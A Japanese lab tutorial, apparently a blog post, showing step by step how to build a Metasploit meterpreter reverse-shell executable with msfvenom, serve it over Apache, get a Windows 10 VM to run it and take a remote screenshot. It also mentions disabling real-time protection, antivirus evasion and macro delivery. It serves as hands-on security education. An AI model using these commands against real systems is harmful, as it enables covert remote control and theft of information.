標的端末のIPアドレスの確認
本来であればnmapコマンドを使用して標的端末のIPアドレスを探索するかと思いますが、今回は直接ipconfigで確認しました。
C:\Users\username>ipconfig Windows IP 構成 イーサネット アダプター イーサネット: 接続固有の DNS サフィックス . . . . .: edogx1.kt.home.ne.jp リンクローカル IPv6 アドレス. . . . .: fe80::6c4b:c53c:f49e:60c3%12 IPv4 アドレス . . . . . . . . . . . .: 10.0.2.15 サブネット マスク . . . . . . . . . .: 255.255.255.0 デフォルト ゲートウェイ . . . . . . .: 10.0.2.2 イーサネット アダプター イーサネット 2: 接続固有の DNS サフィックス . . . . .: リンクローカル IPv6 アドレス. . . . .: fe80::fc76:6e67:1fb4:e976%8 IPv4 アドレス . . . . . . . . . . . .: 192.168.28.6 サブネット マスク . . . . . . . . . .: 255.255.255.0 デフォルト ゲートウェイ . . . . . . .:
リバースシェルのペイロードの用意
Kali Linux側でmsfvenom
コマンドを実行して、リバースシェル(Reverse Shell)のペイロードを作成します。
リバースシェルは、標的端末のシステムから攻撃端末に対し接続を行うシェルを用いた通信方法です。 通常、遠隔のコンピュータにアクセスする場合、ユーザーから対象のサーバなどに接続を行いますが、リバースシェルの場合は、標的端末のコンピュータから、 攻撃者や攻撃者の管理するC&Cサーバなどに通信を要求します。
┌──(root㉿kali)-[~] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.28.3 -f exe -o /home/kali/Desktop/evil2.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: /home/kali/Desktop/evil2.exe
msfvenom
コマンドを実行したことにより、
Kali Linuxのデスクトップ上にevil2.exe
が作成されます。
ペイロードを外部からアクセス出来るディレクトリに移動する
ペイロードを外部からアクセス出来るディレクトリに移動します。
Apacheのデフォルトのドキュメントルートは/var/www/html/
以下になるので、その下にファイルを移動させます。
┌──(root㉿kali)-[/home/kali/Desktop] └─# cp evil2.exe /var/www/html/share ┌──(root㉿kali)-[/home/kali/Desktop] └─# ls /var/www/html/share evil2.exe ┌──(root㉿kali)-[/home/kali/Desktop] └─# service apache2 restart
ペイロードファイルの存在確認
標的端末のWindows10よりブラウザを開いて下記にアクセスします。
http://192.168.28.3/share
ペイロードファイルのダウンロード
先程作成したevil2.exe
が確認出来たらダウンロードを実行します。
ウィルス検知機能により上手くダウンロード出来ない場合は、コントロールパネルより、 リアルタイム保護を無効化することでダウンロードがすることが出来ます。
※実際の標的端末がリアルタイム保護が無効化されていることは無いと思うので、ウィルス検知に引っかからない工夫が必要となります。 (未検証ですが、Veil Frameworkを使用するとアンチウィルスを回避できるようです)
ペイロードファイルの実行
標的PCでevil2.exe
を実行します。
実際はエクセルやWordのマクロを経由させて実行させるなど、
分かりにくく忍ばせるようです。
※メールに添付されているエクセルを不用意にクリックしてはだめな理由です。
リバースシェルを待ち受ける
Metasploitを起動する
msfconsole
コマンドでMetasploit
を起動します。
┌──(root㉿kali)-[/var/www/html] └─# msfconsole
exploitを選択してpayloadをセットする
使用するexploitを設定します。
exploit/multi/handler
というexploitを設定します。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp
payloadをセットする
payload をセットします。
今回はwindows/x64/meterpreter/reverse_tcp
というpayload
を使用します。
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp
exploitを実行します
msf6 exploit(multi/handler) > set LHOST 192.168.28.3 LHOST => 192.168.28.3 msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.28.3:4444 msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.28.6 [*] Meterpreter session 1 opened (192.168.28.3:4444 -> 192.168.28.6:50135) at 2023-06-21 22:22:50 +0900
標的端末にて実行されたリバースシェルにより、Kali Linuxにセッションが確立されました。
確立されたセッションの確認
sessions -i
コマンドを実行することで、リバースシェルにて確立されたセッションを確認することが出来ます。
msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows DESKTOP-SASS8UL\user @ DESKT 192.168.28.3:4444 -> 192.168. OP-SASS8UL 28.6:50135 (192.168.28.6)
meterpreterプロンプトを表示させる
sessions -i 1
と入力することによりmeterpreter
プロンプトに移ります。
msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
screenshotコマンドで標的端末のスクリーンショットを取得する
meterpreter
プロンプトにてscreenshot
コマンドを実行すると標的端末のスクリーンショットを取得することが出来ます。
コマンドを実行したら/var/www/html/
以下にスクリーンショットが保存されている事が確認できました。
meterpreter > screenshot Screenshot saved to: /var/www/html/KlbJtIMu.jpeg
標的端末のスクリーンショットがKali Linuxで確認できた。
まとめ
標的端末にペイロードファイルをダウンロード、実行させる必要がありますが、 もしそのようなマルウェアに感染した場合、遠隔からスクリーンショットをが取られて情報が筒抜けになります。
このあとは、権限昇格させてバックドアを仕込めばやりたい放題になってしまいます。 権限昇格を実行するexploitモジュールもあるようです。
参考
ハッキングラボのつくりかた